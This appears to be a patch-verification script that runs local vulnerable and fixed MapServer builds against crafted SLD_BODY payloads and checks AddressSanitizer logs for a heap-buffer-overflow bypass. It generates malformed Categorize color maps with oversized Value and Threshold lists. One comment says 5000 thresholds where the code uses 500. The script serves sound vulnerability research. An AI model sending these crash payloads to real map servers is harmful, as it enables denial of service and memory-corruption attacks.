#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

REPRO="$ROOT/repro"
VULN_BUILD="$ROOT/external/mapserver-vuln/build"
FIXED_BUILD="$ROOT/external/mapserver-fixed/build"

VULN_MAPSERV="$VULN_BUILD/mapserv"
FIXED_MAPSERV="$FIXED_BUILD/mapserv"

MAPFILE="$REPRO/test.map"
CONFIG="$REPRO/mapserver.conf"
PAYLOAD="$REPRO/payload.sld"

if [ ! -f "$VULN_MAPSERV" ] || [ ! -f "$FIXED_MAPSERV" ]; then
    echo "[!] Missing mapserv binaries. Run repro/reproduction_steps.sh first."
    exit 1
fi

# URL-encode the payload
SLD_BODY=$(python3 -c "import urllib.parse; print(urllib.parse.quote(open('$PAYLOAD').read()))")

export REQUEST_METHOD=GET
export MAPSERVER_CONFIG_FILE="$CONFIG"
export ASAN_OPTIONS="detect_leaks=0:halt_on_error=0"

BYPASS_FOUND=0

run_variant() {
    local name="$1"
    local qs="$2"
    local binary="$3"
    local log="$4"
    echo "[*] Running variant: $name"
    QUERY_STRING="$qs" "$binary" > /dev/null 2> "$log" || true
    if grep -q 'ERROR: AddressSanitizer: heap-buffer-overflow' "$log" 2>/dev/null; then
        echo "    CRASH detected (see $log)"
        return 0
    else
        echo "    No crash"
        return 1
    fi
}

# ── Baseline: original GetMap repro ──
echo "===== Baseline: GetMap + SLD_BODY ====="
run_variant "baseline-vuln" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&FORMAT=image/png&WIDTH=256&HEIGHT=256&BBOX=0,0,100,100&SRS=EPSG:4326&SLD_BODY=$SLD_BODY" \
    "$VULN_MAPSERV" "$LOGS/variant_baseline_vuln.log" || true

run_variant "baseline-fixed" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&FORMAT=image/png&WIDTH=256&HEIGHT=256&BBOX=0,0,100,100&SRS=EPSG:4326&SLD_BODY=$SLD_BODY" \
    "$FIXED_MAPSERV" "$LOGS/variant_baseline_fixed.log" || true

# ── Variant 1: GetLegendGraphic WMS operation ──
echo ""
echo "===== Variant 1: GetLegendGraphic + SLD_BODY ====="
run_variant "legendgraphic-vuln" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetLegendGraphic&VERSION=1.1.1&LAYER=r&FORMAT=image/png&WIDTH=256&HEIGHT=256&SLD_BODY=$SLD_BODY" \
    "$VULN_MAPSERV" "$LOGS/variant_legendgraphic_vuln.log" || true

if run_variant "legendgraphic-fixed" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetLegendGraphic&VERSION=1.1.1&LAYER=r&FORMAT=image/png&WIDTH=256&HEIGHT=256&SLD_BODY=$SLD_BODY" \
    "$FIXED_MAPSERV" "$LOGS/variant_legendgraphic_fixed.log"; then
    echo "[!] BYPASS: GetLegendGraphic crashes fixed version!"
    BYPASS_FOUND=1
fi

# ── Variant 2: GetStyles WMS operation ──
echo ""
echo "===== Variant 2: GetStyles + SLD_BODY ====="
run_variant "getstyles-vuln" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetStyles&VERSION=1.1.1&LAYERS=r&SLD_BODY=$SLD_BODY" \
    "$VULN_MAPSERV" "$LOGS/variant_getstyles_vuln.log" || true

if run_variant "getstyles-fixed" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetStyles&VERSION=1.1.1&LAYERS=r&SLD_BODY=$SLD_BODY" \
    "$FIXED_MAPSERV" "$LOGS/variant_getstyles_fixed.log"; then
    echo "[!] BYPASS: GetStyles crashes fixed version!"
    BYPASS_FOUND=1
fi

# ── Variant 3: Non-standard Categorize ordering (many Values, few Thresholds) ──
echo ""
echo "===== Variant 3: Non-standard XML ordering (values-heavy) ====="
python3 -c "
import urllib.parse
n = 200
values = '\n'.join(f'<se:Value>#{i:06x}</se:Value>' for i in range(n))
thresholds = '<se:Threshold>0</se:Threshold>'
sld = f'''<?xml version=\"1.0\"?>
<StyledLayerDescriptor version=\"1.1.0\" xmlns=\"http://www.opengis.net/sld\"
    xmlns:se=\"http://www.opengis.net/se\">
  <NamedLayer><se:Name>r</se:Name>
    <UserStyle><se:FeatureTypeStyle><se:Rule>
      <se:RasterSymbolizer>
        <se:ColorMap><se:Categorize fallbackValue=\"#000000\">
          <se:LookupValue>Rasterdata</se:LookupValue>
          {values}
          {thresholds}
        </se:Categorize></se:ColorMap>
      </se:RasterSymbolizer>
    </se:Rule></se:FeatureTypeStyle></UserStyle>
  </NamedLayer>
</StyledLayerDescriptor>'''
print(urllib.parse.quote(sld))
" > /tmp/variant3_sld.txt

SLD3=$(cat /tmp/variant3_sld.txt)
run_variant "reordered-vuln" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&FORMAT=image/png&WIDTH=256&HEIGHT=256&BBOX=0,0,100,100&SRS=EPSG:4326&SLD_BODY=$SLD3" \
    "$VULN_MAPSERV" "$LOGS/variant_reordered_vuln.log" || true

if run_variant "reordered-fixed" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&FORMAT=image/png&WIDTH=256&HEIGHT=256&BBOX=0,0,100,100&SRS=EPSG:4326&SLD_BODY=$SLD3" \
    "$FIXED_MAPSERV" "$LOGS/variant_reordered_fixed.log"; then
    echo "[!] BYPASS: Reordered SLD crashes fixed version!"
    BYPASS_FOUND=1
fi

# ── Variant 4: Only-Threshold Categorize (no initial Value) ──
echo ""
echo "===== Variant 4: Only Thresholds, no Values ====="
python3 -c "
import urllib.parse
n = 200
thresholds = '\n'.join(f'<se:Threshold>{i}</se:Threshold>' for i in range(n))
sld = f'''<?xml version=\"1.0\"?>
<StyledLayerDescriptor version=\"1.1.0\" xmlns=\"http://www.opengis.net/sld\"
    xmlns:se=\"http://www.opengis.net/se\">
  <NamedLayer><se:Name>r</se:Name>
    <UserStyle><se:FeatureTypeStyle><se:Rule>
      <se:RasterSymbolizer>
        <se:ColorMap><se:Categorize fallbackValue=\"#000000\">
          <se:LookupValue>Rasterdata</se:LookupValue>
          {thresholds}
        </se:Categorize></se:ColorMap>
      </se:RasterSymbolizer>
    </se:Rule></se:FeatureTypeStyle></UserStyle>
  </NamedLayer>
</StyledLayerDescriptor>'''
print(urllib.parse.quote(sld))
" > /tmp/variant4_sld.txt

SLD4=$(cat /tmp/variant4_sld.txt)
run_variant "onlythresholds-vuln" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&FORMAT=image/png&WIDTH=256&HEIGHT=256&BBOX=0,0,100,100&SRS=EPSG:4326&SLD_BODY=$SLD4" \
    "$VULN_MAPSERV" "$LOGS/variant_onlythresholds_vuln.log" || true

if run_variant "onlythresholds-fixed" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&FORMAT=image/png&WIDTH=256&HEIGHT=256&BBOX=0,0,100,100&SRS=EPSG:4326&SLD_BODY=$SLD4" \
    "$FIXED_MAPSERV" "$LOGS/variant_onlythresholds_fixed.log"; then
    echo "[!] BYPASS: Only-thresholds SLD crashes fixed version!"
    BYPASS_FOUND=1
fi

# ── Variant 5: Very large threshold count (integer overflow probe) ──
echo ""
echo "===== Variant 5: Integer overflow probe (large threshold count) ====="
# 5000 thresholds to test if nThresholds/nMaxThreshold integer behavior changes
python3 -c "
import urllib.parse
n = 500
thresholds = '\n'.join(f'<se:Threshold>{i}</se:Threshold>' for i in range(n))
sld = f'''<?xml version=\"1.0\"?>
<StyledLayerDescriptor version=\"1.1.0\" xmlns=\"http://www.opengis.net/sld\"
    xmlns:se=\"http://www.opengis.net/se\">
  <NamedLayer><se:Name>r</se:Name>
    <UserStyle><se:FeatureTypeStyle><se:Rule>
      <se:RasterSymbolizer>
        <se:ColorMap><se:Categorize fallbackValue=\"#000000\">
          <se:LookupValue>Rasterdata</se:LookupValue>
          <se:Value>#000000</se:Value>
          {thresholds}
        </se:Categorize></se:ColorMap>
      </se:RasterSymbolizer>
    </se:Rule></se:FeatureTypeStyle></UserStyle>
  </NamedLayer>
</StyledLayerDescriptor>'''
print(urllib.parse.quote(sld))
" > /tmp/variant5_sld.txt

SLD5=$(cat /tmp/variant5_sld.txt)
run_variant "overflowprobe-vuln" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&FORMAT=image/png&WIDTH=256&HEIGHT=256&BBOX=0,0,100,100&SRS=EPSG:4326&SLD_BODY=$SLD5" \
    "$VULN_MAPSERV" "$LOGS/variant_overflowprobe_vuln.log" || true

if run_variant "overflowprobe-fixed" \
    "MAP=$MAPFILE&SERVICE=WMS&REQUEST=GetMap&VERSION=1.1.1&LAYERS=r&FORMAT=image/png&WIDTH=256&HEIGHT=256&BBOX=0,0,100,100&SRS=EPSG:4326&SLD_BODY=$SLD5" \
    "$FIXED_MAPSERV" "$LOGS/variant_overflowprobe_fixed.log"; then
    echo "[!] BYPASS: Large-threshold SLD crashes fixed version!"
    BYPASS_FOUND=1
fi

if [ "$BYPASS_FOUND" -eq 1 ]; then
    echo ""
    echo "[!] A bypass was found on the fixed version."
    exit 0
else
    echo ""
    echo "[*] No bypass found on fixed version after 5 variant attempts."
    exit 1
fi